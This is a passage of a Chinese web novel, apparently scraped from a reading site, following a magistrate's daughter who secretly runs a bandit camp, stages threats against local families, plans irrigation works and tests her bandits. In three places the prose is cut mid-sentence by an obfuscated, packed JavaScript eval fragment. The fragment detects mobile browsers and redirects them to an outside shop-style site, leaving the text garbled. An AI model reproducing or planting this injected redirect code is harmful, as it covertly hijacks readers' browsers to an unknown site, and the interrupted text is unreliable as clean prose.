“我就是听人说的,我又没去青楼。”夏文博揉着胸口,可怜兮兮的辩解。 见妹妹还瞪他,夏文博赶紧转移话题,“这小平山怎么还没到?踩在银江郡的地盘上,我心里还真挺不踏实的。” “快了,马上就到。” 银江郡的叛军正闹得火热,名声正盛,大家都挺怵,一进入银江郡的地界,所有人都加快了步伐。 知道山上没人,夏云林的姿态,比何将军还优雅从容。 拿着个木质大喇叭叫阵完,发现没人动静,夏云林就带头就冲上山去了,英勇无比。 一上山,夏云林的优雅从容,瞬间破功,吓得惊呼出声,“啊!!!” 这动静,让夏文君他们三兄妹,还以为出了什么事,立刻就从队伍后面冲到了最前面。 “这不是没人吗?也没埋伏啊。” 上山打量完周围的环境,夏文君就松了口气,瞧了眼大惊小怪的夏云林,安慰道:“不就是些人骨吗?有什么好怕的。” 她都这么说了,夏云林还能说啥。 连前来剿匪的何将军,都只能故作坚强,顺便拉踩了一下夏云林,“没错,不就是些尸骨吗?有什么好怕的。” 寨子里如今一个人也没有,只留下一些简陋的草棚,倒了的石头灶台。 但残留的木架子上,吊着两个人的骨头架子,有个窝棚里,随意摆着一堆白骨。灶台边上,还有几个圆滚滚的头盖骨…… 这很符合银江郡叛军的血腥人设,杀人不眨眼,拿头盖骨踢着玩。 只不过这场面也有点出乎夏文君的意料,她忍不住转头去看身边的婢女。 珊瑚无辜的对夏文君眨眨眼,不是她不提前预告,故意吓人,是她撤下山的时候,也不知道有这么一出。 八成是丁大壮他们撤退的路上,发现了路上被随意丢弃的尸骨,觉得有用,就捡上山来装点门面了。 夏云林也就是被吓了一下,突然没反应过来,缓了几秒,他就对何将军惭愧的说道:“将军,我们来迟了啊。这伙贼人已经走了。看样子,也是才走不久。” 流寇走了,可不能怪他。他尽力查过的,全县的人都能看到。 而且之前查流寇踪迹的时候,夏云林用的人,除了衙役,还有从别家借来的护卫,证人多的是。 流寇在小平山的结论,不是他自己乾坤独断总结出来的。现在流寇不在小平山,他这个县令有责任,但别人的错更大! 好在何将军也不是真想来立功的,见夏云林一脸紧张,他还安慰道:“流寇嘛。本就居无定所,估计来平安郡抢了粮食就走了。只是这次抓不到人,以后仙河县,就得小心防范了。” 说到后面,何将军还有些幸灾乐祸,有些同情夏云林这个仙河县的县令。 此次剿匪,总共出动四千人,没抓到小平山那伙那的流寇,只在燕子山抓到了八十个悍匪。 总的来说,算是大获失败。 但跟王大人汇报战绩的时候,夏云林跟何将军都很有眼色。 反正报告上写的是:王大人治下有方,这次剿匪行动,他们把周边的盗匪都清理了一遍,仙河县外面没有土匪,已经安全了!简直是可喜可贺。 面子功夫有了,上面的领导开心,下面的人也顺心。 没两天的功夫,正式任命夏云林为县令的文书就下来了,这个位置,夏云林彻底坐稳。 “王大人还是很靠谱的嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273037|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。钱没白花。” 事情进展顺利,夏云林整个人都红光满面的,他兴奋的对夏文君说道:“明日你五叔六叔,还有几个兄长都会来仙河县。有他们帮忙,你也能轻松些了。” 官职还没彻底定下来,夏家只是在暗中帮忙使劲,不敢张扬,到现在,才敢派族中子弟帮夏云林做事。 这几日里,内宅和交际的事情,是花月容在操心,县衙的公务是夏文君帮忙盯着。自己人一来,有些杂事,夏文君也能松手。 按照夏云林的设想,以后县衙里的活,由族中的助手帮忙干,他们一家美滋滋的躺平收钱就好。前期的耕种已经结束,现在是收获胜利果实的时刻。 面对这个事业刚有起色,就又想躺平的爹,夏文君都震惊了。 她狠狠的晃了晃夏云林的肩膀,发自真心的问道:“父亲,你都没有危机感的吗?” “仙河县外根本就没有流寇,那是我们自己人啊。”在夏云林眼里,都没有危险,哪来的危机感。 “银江郡的叛乱,朝廷至今没有派兵镇压。要是再拖延个半年一年,叛军的野心必然会被喂大,不会再甘心躲在城池里。到那时候平安郡就危险了。” “不可能。朝廷不可能拖那么久,听说皇上的伤已经养好了,最多半年,这叛军就该完蛋了。”夏云林乐呵呵的说道:“朝廷如果连这点乱子都收拾不好,天下早该大乱了。” “那万一呢。万一出个什么问题,没的可是我们一家人的小命,这你也敢赌?” 夏云林定定的看了夏文君两秒,无奈的叹口气,妥协道:“行了,有事你直说,别铺垫。我是你亲爹,你别吓我,我胆子本来就不大。” “哦。”夏文君尴尬的清了清嗓子,说道:“我的意思是,多招些衙役,增加仙河县自保的手段。郡城的驻军,我们根本指使不动,还是得培养自己人。” 如果不是为了配合刚献上去的祥瑞,怕仙河县出事,郡城出兵不会这么干脆。没有正规军保护,家族的护卫又太少,扛不住什么大事。 想来想去,夏文君还是觉得,该多招人。 “衙内不是养了近四百人吗?还养啊?县里没钱了啊。”夏云林忍不住挠头。 县衙内的门子、马夫、轿夫、库卒、皂隶……这类正经的编制,加起来不够一百。剩下的三百多人,都是超额的人员。 大部分县衙养的衙役,都超额,没人管的时候,有钱的厉害县,养几千个衙役也没问题。 但养人的关键是,得花钱。 夏云林算起了账,“我们家这条件,养这么多人,负担也挺大的。一个月给个五六十文,也能招到人,但来的肯定都是些泼皮无赖,指望着衙役的身份,敲诈勒索乡里人。这太影响夏家的名望了,不行。” “爹你也太大公无私了。衙役的工钱,为什么要我们自己出?” 夏文君理直气壮的说道:“仙河县是我们的家,安全得靠大家啊!” 父女俩对视一眼,夏云林立马就悟了。 19.第 19 章 集资招衙役的事情,得由夏云林这个县令出面才有用,所以夏文君提了要求,出了主意就不管了,任由夏云林发挥。 “要不我也跟先头的程县令一样,病一场,吓吓他们?”夏云林搓了搓肩膀,小声说道:“其实山上那片白骨,还真挺吓人的。” 从银江郡回家的路上,又不是没动手杀过人。夏文君无语的看他一眼。 “行,你要装就装吧。但你装病之前,还是要先去书院转悠一圈,再去我那个新修的敬字塔转一转,先替我广而告之,再说装病的事。” “这么快就修好了?这速度也太快了吧。”夏云林震惊。 “那是当然。这可是我自己的产业,我肯定上心啊。” 打铁还需自身硬,从别人那里捞来的钱,终究没有自己得来的钱靠谱。 而且仙河县如今这情况,从县中大户搜刮来的钱,想贴到自己身上,那难度还挺高的,都得补到县里的财政窟窿上。想要丰衣足食,还是得自己动手。 夏文君有些头疼的说道:“仙河县用钱的地方还多着呢。这段时间看完县里的各项资料,我头都大了。” “啊,我还没开始看。”夏云林这个正经县令,还没开始干活,心里就已经在打退堂鼓了。 “那您就慢慢看吧。但有些事您可不能往后拖,去年年底就压了很多诉讼的案子,有分家产打起来的,有牛车失控伤人的…… 今年的春耕,您也得盯着点,免得夏秋的赋税收不上来。仙河县虽然有条大河,但水利设施不行,去年天旱,就影响了一部分地方的收成,今年要是天再旱,百姓家里就真没余粮了……” 在其位谋其政,哪怕为了夏家在乡间的名声,该他们做的事,也必须做好。 夏云林痛苦的抹了把脸,弱弱的试探道:“闺女,你最近在忙什么?” “我新买了两个农庄,一个准备弄成桑园,一个准备弄成甘蔗园。明天我要去见庄子里的佃户,后面我要亲自盯着他们育苗栽种,还得去田里亲自转悠一圈,重新整理安排一下那些沟渠,交给其他人,我不放心……” 听到这些安排,夏云林瞬间就没什么指望了。这些事听起来就有够忙的,想要夏文君给他搭把手,怎么说也得半个月之后了。 年前夏文君就在仙河县低价购置了大量的土地,只是忙着谋官的事,还没来得及折腾。 如今腾出手来了,仙河县又有自己的靠山,夏文君做起事情来,自然大刀阔斧。 夏云林苦哈哈的留在县衙干活,夏文君则穿着便装,潇洒的骑着马到处跑,潇洒完了,回来还给夏云林发布新的任务。 “父亲,你明天陪我去下河村转一圈露个脸吧。我刚买上河村的地,周边村子里的人,对我没什么信任,我想让他们替我种桑种甘蔗,但他们不敢跟我交易。” 想要利益最大化,自然得规模化生产。只靠自己名下的土地,产量还不够。夏文君想给周边的村落,提供种苗和种植技术,还给定金,等他们种好了,后期保证回收。 赋税是每年都要交的,百姓家中的田地,得先种粮食和麻,种够了赋税和家中的口粮,剩下的土地才敢自由安排。剩下的地本就不多,谁都不敢乱来。哪怕夏文君报酬丰厚,也没人敢跟她混。 这个时候,就体现出本地名望的重要性了。 如果是在夏家老巢,不用夏家族长出面,仅仅是夏家年幼的小郎君小娘子们,招呼一声,也有人替他们办事。 真到了关键时刻,哪怕是举旗反了,老家的人狠狠心,也能跟着一起冲。 因为名望可用,所以大家才这么在乎自己的名声。 夏文君要是好好在上河村经营一两年,名望上来了,不要定金,周边村落的百姓,也乐意跟她合作。 但她是个急性子,等不了那么久,反正县令的招牌已经放到自己家了,她用一用也不碍事。 夏云林根本就没法拒绝,只能穿着官服,被夏文君拖着,亲自下乡体察民情去。 来都来了,也不能让夏云林白跑一趟,夏文君顺便就给他说起来周边的水利灌溉情况。 “这片地方,我全都亲自看过。挨着河边,用水方便的,都是良田。但我买的那一大片地,除了良田,还有荒山。想改善土质,就得修水渠,方便灌溉。纯靠人工挑水,得累死人。” 学了夏云林讲八卦的好习惯,夏文君跟他说事,也是看图说话。 她拿出刚画的上河村的简略地图,手指着说道:“这一大片位置地势高,需要弄一个小型的蓄水池,地势低的位置,则要做好排水……” 简单的介绍完情况,夏文君就说道:“我的意思是,今年上河村周边百姓的徭役,就不去修补城墙或者修补道路了,就修周边的水渠吧。” 这不仅方便自己,也方便周围的百姓。 “你都安排好了,那就按你说的办呗。”夏云林不懂水利,但他知道女儿的厉害。 夏文君不仅学得杂,还学得好,她的努力,是整个夏家都知道的事。 哪怕是这种大工程,夏云林也没想着去郡城请专家出手,反而觉得交给夏文君就够了。 他们平安郡也没什么有名的水利大家,大部分人的水平,还不如夏文君呢。 夏文君前面十几年的勤学苦练,还有自律坚持,给足了夏云林安全感。夏文君要干的事,他能直接撒手。 几句话的功夫,修水渠的事,就这么定了下来。 这下不用夏文君特意去宣传,大河村周边的百姓,都知道夏文君的能耐了。 和带着干粮,长途跋涉去别的地方干活相比,在家门口服役,已经算得上是一件大好事。 因为水渠的事,周边百姓都很给夏文君面子。两三天的功夫,夏文君和周边村落的合作就已经达成,大家都会替她种桑种甘蔗。 事情解决,夏文君心情还不错,结束了不着家的状态,晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14285261|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上也不住农庄,收拾收拾东西回县衙后院了。 一回家,她就对花月容好奇的问道:“怎么样?热心群众的捐款到了没?” “就裴家主脾气好,也和你父亲谈得来,给了二十贯钱,说是给衙役们加餐。别家都不乐意给。” 年节该给的孝敬,各家都不会少。但也做不到予取予求,任人拿捏。 “这都什么时候了。怎么还这么抠呢。”夏文君嫌弃的说道:“这几天我带着人漫山遍野的跑,已经在县内发现了好多银江郡过来的流民了。看到这些生人,他们心里就不怵吗?” 有野心有实力,想搏一搏的百姓,都当叛军去了。但也有怕事的,想来平安郡避祸。只是最近平安郡查得严,银江郡来的,都不准进城。 毕竟当初夏文君给人出了里应外合的主意,怕回旋镖扎自己身上,夏云林生怕城里放进什么坏人。 “外头零零散散的流民,不成势倒也没什么好怕的。而且各家都有护卫,他们心里也有依仗。”花月容提议道:“要不再过两天,让山上的人再下来一趟?给那些人紧紧皮。” 夏文君摇摇头,“山上的人还是太少了。如今各家都有防备,丁大壮他们下山,要是打输了,反倒会塌了面皮,让人看出虚实。” 不敢来实的,那就只能来虚的了。 夏文君敲了敲腰间的剑柄,说道:“父亲把修上河村周边水渠的事情交给我了。虽说如今只修这一段水渠,但后面全县的水利灌溉系统,肯定都得重新弄。我得先把县里的情况摸清楚,免得以后大河村周边的水渠还得改。过几日我带着人,满县的跑,抓两个来踩点的土匪,也说得过去吧。” 刀落下的那一刻,未必可怕。可怕是那把刀悬而未落,不知它要落在哪里的时候。来踩点的土匪,比下山的土匪更能拿捏人心。 听到这么个主意,花月容兴奋的一拍手,“就这么干。” 夏云林也举双手赞成。他可以没有危机感,但他看不惯别人没有。这不显得家里的土匪白养了? “裴家主给了钱,就得让他有一种物超所值的感觉。”夏文君提议道:“到时候就让那土匪去裴家踩点,然后被我们捉住。在裴家主心中惶恐的时候,父亲您就多派几队衙役去裴家周围巡逻,这样的话,裴家肯定觉得这钱没白花!我这主意如何?” “别啊。裴家主他人挺好的,跟我关系也好。”夏云林瞪大眼睛,赶紧劝道:“而且人家花了钱的,就别吓人家了吧。换个人吓吧。” 新交的好朋友,正稀罕着呢。夏云林想捍卫一下他俩脆弱的友情。 夏文君挠了挠下巴,稍微反省了两秒,觉得这主意确实有点损。 但想要让大家看到充过钱的待遇,除了裴家主,就只剩自己了。 “那这样。让土匪来我的农庄外面踩点。把人抓了之后,爹你就派几队衙役,轮流去我农庄外头巡逻,顺带再照顾一下裴家。这样可以了吧?” 20.第 20 章 见夏文君把矛头对准了自己,不搞裴家,搞自己的农庄了。夏云林忍不住尬笑一声,“这人狠起来,还真是……” 连自己都不放过。 牺牲自己,成全他人,夏文君觉得自己还挺伟大的。 看夏云林都没意见了,夏文君就说道:“就这么说定了。明天我上山一趟,去那边待两天,这事儿得仔细的安排一下。” 山上的事,都是夏文君在张罗,只有她说话好使。哪怕是当初一起回来的夏云林,都不一定能使唤得动山上的人。 因为夏云林太好说话,少了点威严,丁大壮他们都不是很怕夏云林。 只有夏文君,有仇她是真记,把她惹急了,她立刻就能拔剑出手,一剑把人嘎了。 底下的人,既敬佩她,又怕她,但敬比怕多。谁叫夏文君大方呢,有好东西,她是真给,有她在,大家基本不饿肚子。 毕竟干的是杀头的买卖,高风险就该有高收益。农庄里帮忙种地的佃户,夏文君就没那么上心过。 这次夏文君去山上,就给大家带了一头猪,十只鸡。 “大当家,往这边走,我们在这条路上布置了陷阱。”珊瑚陪在夏文君身边,贴心的帮忙带路。 在山上待的时间久了,珊瑚也从一个精致的小娘子,变得糙了不少,以前她抹脸,高光阴影还要仔细过度,现在抹上就完事儿了。 搞得夏文君老是忍不住转头去看她的脸,“你今天的灰粉是不是抹多了,脸上格外崎岖,远看着,只能看到脸架子,跟被掏干了精气似的。” “真的吗?”珊瑚摸摸脸,感慨道:“怪不得寨子里新来的人,都说我一看就是军师,动脑子的那种。原来是我这张脸看起来比较虚,不能打。我还以为人家夸我聪明呢。” 她这么一说,不仅夏文君,连王二他们都跟着笑。 夏文君化妆完的造型,眼下也有青黑,但她下手有轻重,看起来身体还行。 做大当家的嘛,纯靠脑子,没点武力威慑可压不住场子。 身边都是自己人,夏文君说话也没什么顾忌,询问道:“最近山上可还算太平?可有人闹事?” “没有。平安郡剿匪的官兵来走了一趟,大家都老实了。要不是您这边提前通知,山上的人都是被抓的命。这几天,都没人敢说什么去平安郡抢粮食的大话了。让他们布置陷阱,还有日常训练,都老实的照做。” 敌军来了四千人,己方不到两百人。实力悬殊成这样,能不老实嘛。 珊瑚要替夏文君在山上发号施令,没点正经的身份压不住人,夏文君就把人提升成了四当家。 丁大壮和赵猴子也顺势升职,成为了二当家和三当家,因为珊瑚不是每天都在山上,而且拼杀的时候,还得丁大壮和赵猴子冲在前面,他俩的名头要比珊瑚大一点。 但这三位当家手下的人都是一样的,一人手底下有六个小队。 按照夏文君的安排,十人一小队长,五十人一个中队长,一百人为一个大队长,做当家的嘛,手底下怎么也该有几个大队长。 终究还是他们这个队伍太寒酸。 “人还是太少,干不了什么大事。”夏文君忍不住感慨。 珊瑚这段时间,对寨子里的人也费了一番心思,感觉到夏文君语气里的不重视,她赶紧说道:“五日前,我们才搬到这个山头,昨天和今天就有周边村子的人,慕名前来投奔了,一共有八人。照这么下去,人会越来越多的。” “慕名?我们寨子都已经打出名气了?我怎么不知道?”夏文君还挺好奇。她也没给他们这个队伍取名字啊。 “他们叫我们白骨寨。” 夏文君深吸一口气,无语的骂道:“丁大壮那手怎么那么贱啊,到处捡什么骨头。” 白骨寨这名字,听起来一点也不威风,喊出去也没气势,还不如那什么砍刀帮,长刀寨呢。白骨寨这三个字,透着一股阴狠劲不说,还带着点妖气。 但名气都打出去了,想换名可不容易。 “算了,这名号就先将就着用吧,反正也用不久。”夏文君妥协的说道:“名号都是虚的。实力才是真的。山寨日常训练的事,是你盯着的,你可别叫我失望。” “大当家的您放心,这段时间大家都没有懈怠。”珊瑚拍着胸口保证。 “没有懈怠就好。平安郡这边剿匪的官兵不算什么。真正厉害的是,朝廷那边派出的大军。” “朝廷下令镇压叛乱了?”珊瑚紧张的问道。 “快了,应该就是这两个月的事。皇上年前遇刺,伤口感染,反反复复的,拖到现在才好。他养病期间,把大皇子和二皇子拎出来打擂台,他伤一好,就把两位皇子摁下去了。朝堂上如今都没在内讧争皇位了,都在商讨镇压叛乱的事。” 兵马未动,粮草先行。银江郡的事,肯定是要解决的,但前期准备工作,还得要一段时间。 说起这个,夏文君也忍不住骂人,“皇帝南巡,本就是因为周边叛乱频繁,他南巡就该安抚民心。他倒好,南巡路上搜罗美人。这下好了,挨了一刀不说,又多了一个叛乱的地方。祖宗有再大的基业,也禁不住这么祸祸啊。” 如今朝中的各位臣民,都盼着换皇帝呢。 夏文君也是一样的期盼。无论是在盛世还是乱世,都不影响她努力过好生活。但乱世人命如草芥,自己的命也是一样,很容易就没了,禁不起折腾。相比起来,还是盛世的风险小一点。 新皇要是贤德,还能力挽狂澜,重现个中兴盛世什么的。可惜,祸害遗千年,这昏君就是不死。 不知道这昏君还能搞出什么骚操作,也不知道这个王朝什么时候彻底完蛋。 夏文君他们只能做两手准备,一边做仙河县的好县令,一边在山上养土匪。 别人是怎么养土匪的,夏文君不管,反正她手底下不养窝囊废。 一群乌合之众,养着浪费粮食不说,带出去还丢人。 夏文君被接上山,就直接对珊瑚吩咐道:“把这头猪都拆分了,该烤的烤,该卤的卤,该炖的炖。鸡也一样。” “今天把这头猪和十只鸡吃完?”珊瑚小声询问。 “对。过年我不在山上,没能亲自犒赏大家。如今正月还没过,现在犒赏也不迟。”夏文君挑了挑眉,说道:“就是这肉吧,不是人人都能吃上。” 等山上人到齐的时候,肉已经烤得焦香,给人都香迷糊了。 但夏文君在,连丁大壮和赵猴子都不敢放肆,老实巴交的等着夏文君发话。 “给放哨和巡逻的兄弟,各送一包肉过去。剩下的人,先考核,再吃饭。”夏文君表情冷酷的说道:“我们寨子,不养废物。考核不过的,自己小心点。” 话音刚落,山上就一阵冷风吹过,凉得忍不住让人想缩脖子。 在众人屏息的时候,夏文君直接点名,“丁大壮,你是二当家的,你先来。” 丁大壮那表情,瞬间就跟死了爹似的,暗中为自己鼓足了劲,才咬着牙站出队伍,“大当家的,您说怎么考?” “你主管带人冲锋打仗,手上没点功夫,闷头往前冲可不行。” 夏文君活动着手腕,微笑着说道:“拔刀吧,我试试你最近有没有长进。” 此话一出,山上的众人都露出来看乐子的表情,胆子大的甚至还敢起哄。 新来的土匪没见识过,但当初夏文君带出来的那一百多个土匪,刀法拳法都是夏文君亲自教出来的。 丁大壮能被提拔为二当家,当然是因为他刀法练得最好,且体格也最壮。但他才练不到半年,哪能跟夏文君这种苦练多年的比。 交手不过几个回合,他就被夏文君一脚踩在地上,剑尖抵在脖子上。 “哦吼吼!!!”众人都发出了起哄的声音。 虽然自己也菜,但并不妨碍他们看二当家的笑话。 “大当家,嘿嘿,大当家饶了我吧嘿嘿~”丁大壮厚着脸皮求饶,弱弱的把夏文君的剑尖挪了一下。 剑尖对着他的脖子,怪让人害怕的。 哪怕他最近没干什么亏心事,他也莫名其妙的心虚。 “还行,没有荒废。”夏文君把剑收回,说道:“坐那儿等着开饭吧。” 丁大壮过关,赵猴子立刻屁股一紧,抬头挺胸,等着夏文君的点名。 此时,他手握刀柄,还在心里庆幸的想着,有珊瑚在山上盯着,他的日常训练没有偷懒,肯定可以过关。 “三当家的,我让你管内部安全,还有内部赏罚。那你这一个月来,可赏了什么人,罚了什么人?”夏文君把剑放回剑鞘,慢悠悠的问道。 队伍里,丁大壮的亲族多,人又憨直,下不了狠手。不像赵猴子,亲人羁绊少,人又圆滑狠辣,清理内部的事情,交给他,夏文君更加放心。 “我……”赵猴子握着刀柄的手,无力的放下,脸上戴上了痛苦面具,怎么轮到他,就不考刀法,改考别的了呢。 他仔细回想了一下,赶紧说道:“我赏了。丁石头招揽了三个人上山,我给珊瑚说了,让珊瑚奖了他一个匕首。方老七和方老八抢了新来兄弟的衣服,我揍了他俩一顿。” 越说,他表情越自信,自夸道:“大当家,我赏罚分明啊!” “赏罚分明。”夏文君挑了挑眉,忽然大声质问道:“欺负队友者? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295356|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 出于肌肉记忆,还没来得及思考,赵猴子就接话道:“斩。” “调戏妇女者?” “斩。” “泄露机密者?” “斩。” “你这不是能记住吗?”夏文君踹他一脚,骂道:“滚边上站着去。还想吃肉,吃屎吧你。” 赵猴子哭丧着一张脸,不敢反驳。 当初夏文君带队的时候,确实是这么跟大家立的规矩。 但夏文君在的时候,大家都老老实实的,没人敢犯事。这些规矩都没用上过。 轮到自己处理的时候,这些规矩,赵猴子就记不起来了,赏罚都随心去了。 夏文君对王二点了点下巴,“去把方老八和方老七绑起来,稍后处置。” “是。” 山上都是人,方家两兄弟脸色煞白,想逃跑又不敢,只能老实的任由王二绑了。 刚刚山上还是一片欢快的气氛,人人都在起哄呢,现在却静得可怕。 这氛围,搞得珊瑚都紧张了起来。 她跟了夏文君近十年,缺的不是那顿肉,缺的是脸面。 夏文君身边有珍珠、琥珀、珊瑚、琉璃四个贴身婢女,还有很多小丫头们,想往上爬的人多的是,她要是没做好,随时都有人能把她顶下去。 “珊瑚你负责山上的粮草,还有日常训练。” “是。”珊瑚的声音紧绷。 终于轮到四当家了,夏文君一点名,大家都把目光看向了珊瑚,眼里都带着点同情。 “你账算得极好,功夫也不错,又守规矩,这些我就不考你了。” 夏文君轻笑一声,说道:“我就看看你的训练结果吧。把会识字的、口齿伶俐的、会打算盘的、会乔装打扮打探情报的、刀法好的……你觉得能拿得出手的,都挑出来给我验一验吧。” 夏文君说得轻松,但珊瑚一听,觉得天都塌了。 还不如考她呢,考底下的人,那她才是生死难料。 珊瑚捏紧拳头,咬着牙,转身狠狠的盯着匪众,威胁道:“待会儿谁要是敢掉链子!你们就完了。” 说完,她就开始挑人,先挑口齿伶俐的,拿出来任由夏文君考核。 “这都是按照大当家之前的规矩教的。这十来个人,会银江郡的方言,会平安郡的方言,会官话,会京都话,简单的日常交流都没有问题……愣着干嘛,说话啊!” 珊瑚呵斥的声音一落,带着各种口音的马屁声就响起了。 “大当家的,您威武霸气啊。”“大当家的您真好。”“大当家的……” 说话的内容不重要,口音最重要,夏文君听完就满意的点头,“行了。你们这一队人过关了。坐那儿等吃饭吧。” 第一战告捷,珊瑚悄悄的松了口气,然后很快,心又提了起来,因为后面还有好几关呢。 在夏文君眼里,队伍一旦上了规模,就得分工明确。 山上的土匪不足两百人,但有会乔装打扮管踩点侦查的,心狠手辣看管俘虏的,能打会算管理粮草的,能言善辩管联络的,机灵警惕管放哨的,还有打仗的时候冲在前面的…… 每一个类型的人才,都需要好好的发掘培养。 哪怕夏文君不在山上,日常的训练,夏文君也列出了一个计划表,让珊瑚代为执行。 珊瑚倒是不敢打折扣,只要在山上,就盯得严。但她不在山上的时候,练习就得靠自觉了。 大部分人的本性,就是懒且馋。没人督促着,思想立刻滑坡。 整个队伍,有一半人,夏文君都看不上眼。她直接重新调整队伍构架。 文不成武不就的,别说今天不能吃上肉了。从明天开始,山上砍树、搭建、布置陷阱之类的杂活,都归他们干。 当初跟夏文君并肩作战过的那一百来人,觉得自己有资历,凡事都压新来的一头。 谁知道夏文君一点不给他们面子,提拔人就只看能力。没本事的,有资历也别想占着队长的位置。而且大家满打满算,相处不过半年,这算什么资历啊。 夏文君说话的时候,山上的人神经全程紧绷,都没人敢走神。 “行了,都别愣着,肉都煮好了,赶紧吃肉吧。”夏文君瞄了一眼低着头的珊瑚,说道:“你也吃。这段时间你费心了。” 山上的匪众资质本就一般,能教成这样已经不错了。 一半的人吃肉,一半的人啃粗粮馒头。啃馒头的人也不敢发表什么意见,有得吃就不错了,他们没有挑的余地,对比起来,他们算幸福的了。 因为方家两兄弟,还被绑住手脚堵住嘴,丟在一旁,生死难料。 21.第 21 章 人多的时候,赵猴子没好意思问。等吃完饭,大家按部就班训练的时候,赵猴子才对夏文君殷勤的问道:“大当家的,明日可需要宰了方家两兄弟立规矩?” 为了亡羊补牢,他提议道:“要宰他们的话。大当家能不能让我亲自动手,让我将功折罪。” “这两人我还有用。今天暂且留他们一命。”夏文君瞥他一眼,骂道:“把你那点小聪明,都用到正经事上。把寨子里的规矩都给我背熟了。下次再赏罚不明,自己去领十棍子。” “哎。知道了大当家。我以后早晚都默诵十遍。”赵猴子笑得狗腿。 夏文君挥手赶人,“得了,别搁我跟前忙活了。去跟你儿子说说话吧。明日他就要随我下山,之后你们父子俩见面就没那么方便了。” 山上湿寒,还有蛇虫鼠蚁,一点也不适合老人小孩生活。体质弱的,待久了容易生病。 年前就商量好了,要接老弱下山,如今都过完年了。夏文君这次来,就会顺带把人接到庄子里去。 丁大壮原本不想让他母亲也下山的,山上除了住得差点,和家里没什么区别。他又没有孩子,疤二娘也不需要跟着去照顾孙子孙女,他们母子在山上相依为命挺好的。 “我去山下照顾你堂妹和侄子。他们得有大人盯着。”疤二娘拒绝儿子的挽留,执意要走。 “娘,你不照顾我,你照顾他们干什么?我才是你亲儿子!” “你傻不傻!”疤二娘狠戳了一下丁大壮的额头,提醒道:“赵猴子的儿子都九岁了,这个年纪,都能帮忙干活了,根本就没必要送下山去,赵猴子还是送了!你说为什么?” “因为山下条件好啊。大当家还能帮忙搞定仙河县的户籍,出事了也能保平安。不像我们,成了土匪,除了招安,就没退路了。” “山下条件好,能有跟在亲爹身边好?”疤二娘反问。 “啊!”这下丁大壮好像有点反应过来了。 “大当家是一片好心,但咱们自己要是不识趣,大当家也能对你下狠心。” 说起这个,丁大壮就忍不住搓了搓胳膊。不说夏文君对别人如何了,她对自己的那股狠劲,丁大壮看了心里也毛毛的。 早上天气再冷,夏文君也能定时早起,坚持练剑,逃命回家的路上,也从没有懈怠过。 打劫的时候受了伤,夏文君还能面不改色的朝自己的伤口倒烈酒清洗,然后拿针线自己缝合。 刚开始,夏文君也没拿正眼瞧他们,随他们在队伍里瞎混。后来稍微上了点心,他们的苦日子就来了。 一个个都被训得跟狗似的,偏偏没人敢放弃。 因为夏文君说了,外人她管不着,也不会管。但是自己人,她就那个要求,达不到的就离开。 疤二娘直白的问道:“赵猴子留亲儿子在仙河县,你却只留侄子。关键时刻,你猜大当家会重用谁?大当家会把谁当自己人?把谁当外人?” “把我当外人!”丁大壮快问快答,哭丧着脸回道:“我就知道赵猴子心眼多。” “你知道就好!在山上做土匪,本来就不是什么安稳的行当,动辄就要人性命。你若是成了‘外人’,大当家不替你打算,到时候你连怎么死的都不知道。” 儿子没心眼,疤二娘就只能多替他筹谋了。哪怕夏文君没提她的名字,她也屁颠屁颠的跟着一起下山。 最后和夏文君离开的,有几个小孩和两个老人,壮年的妇女就疤二娘一人,其他人都不乐意下山。 夏文君这个大当家虽然靠谱,也是过命的交情,但山上大部分的匪众,都不想和自己的亲人分开,只要还能坚持的,都不乐意挪窝。 “既然下山的孩子比较多,那就送到荒山那边养□□。”夏文君对婢女吩咐道:“你跑一趟,亲自把人送去。” “养鸡好,我以前在家就可会养鸡了。”疤二娘态度积极。 不挑工作,愿意听安排就好,夏文君对大家的态度还算满意。 她提醒道:“下山之后,不要忘记寨子里的规矩,泄露机密的人,我不会留你们。你们如今的身份,是来投奔亲戚的银江郡难民。新的仙河县户籍,过段时间我帮你们处理。” 夏云林都成县令了,入仙河县的户籍,自然是小问题,而且银江郡那边的县衙资料,基本都被毁了,以后也不怕有人调查。 只是现在时机不合适。 仙河县如今不收留银江郡来的人,新户籍办出来就有点扎眼。等过阵子,仙河县开始收留银江郡流民的时候,夏文君顺手就能帮疤二娘他们办了。 疤二娘她们一行人去个新地方,本来还挺忐忑的,结果一到地方,鸡场的管事一点没把他们当外人,立刻就把她们给安排明白了。 “新地方,条件有限,房间不多,你们就先住大通铺。男女各一间屋。” “先收拾干净,换身新衣服,再去喂小鸡,别把小鸡弄得害鸡瘟了。” “待会儿曹大会送活蚯蚓过来,我带你们煮一遍鸡食,明日就你们自己动手……” 